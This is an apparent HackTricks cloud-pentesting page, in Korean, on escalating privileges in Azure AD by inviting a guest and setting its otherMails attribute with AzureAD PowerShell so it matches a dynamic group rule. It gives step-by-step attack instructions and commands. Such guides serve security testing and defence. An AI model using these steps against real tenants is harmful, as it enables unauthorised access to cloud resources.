Az - Dynamic Groups Privesc

Support HackTricks

Basic Information

Dynamic groups규칙이 설정된 그룹으로, 규칙에 맞는 모든 사용자 또는 장치가 그룹에 추가됩니다. 사용자의 속성변경될 때마다 동적 규칙이 재검토됩니다. 새로운 규칙생성될 때마다 모든 장치와 사용자가 검토됩니다.

동적 그룹에는 Azure RBAC 역할을 할당할 수 있지만, 동적 그룹에 AzureAD 역할을 추가하는 것은 불가능합니다.

이 기능은 Azure AD 프리미엄 P1 라이선스가 필요합니다.

Privesc

기본적으로 모든 사용자가 Azure AD에서 게스트를 초대할 수 있으므로, 동적 그룹 규칙속성을 기반으로 사용자에게 권한을 부여하는 경우, 새로운 게스트에서 이 속성을 설정하여 권한을 상승시킬 수 있습니다. 게스트도 자신의 프로필을 관리하고 이러한 속성을 변경할 수 있습니다.

동적 멤버십을 허용하는 그룹 가져오기: Get-AzureADMSGroup | ?{$_.GroupTypes -eq 'DynamicMembership'}

Example

  • Rule example: (user.otherMails -any (_ -contains "tester")) -and (user.userType -eq "guest")

  • Rule description: 보조 이메일에 'tester' 문자열이 포함된 모든 게스트 사용자가 그룹에 추가됩니다.

  1. Azure Active Directory -> Users로 이동하여 Want to switch back to the legacy users list experience? Click here to leave the preview클릭

  2. **New guest user**를 클릭하고 이메일을 초대

  3. 초대가 전송되면 사용자의 프로필이 Azure AD에 추가됩니다. 사용자의 프로필을 열고 Invitation accepted 아래의 **(manage)**를 클릭

  1. **Resend invite?**를 Yes로 변경하면 초대 URL을 받게 됩니다:

  1. URL을 복사하여 열고, 초대된 사용자로 로그인하고 초대를 수락

  2. cli에서 사용자로 로그인하고 보조 이메일 설정

# Login
$password = ConvertTo-SecureString 'password' - AsPlainText -Force
$creds = New-Object
System.Management.Automation.PSCredential('externaltester@somedomain.onmicrosoft.com', $Password)
Connect-AzureAD -Credential $creds -TenantId <tenant_id_of_attacked_domain>

# Chnage OtherMails setting
Set-AzureADUser -ObjectId <OBJECT-ID> -OtherMails <Username>@<TENANT_NAME>.onmicrosoft.com -Verbose

References

Support HackTricks

Last updated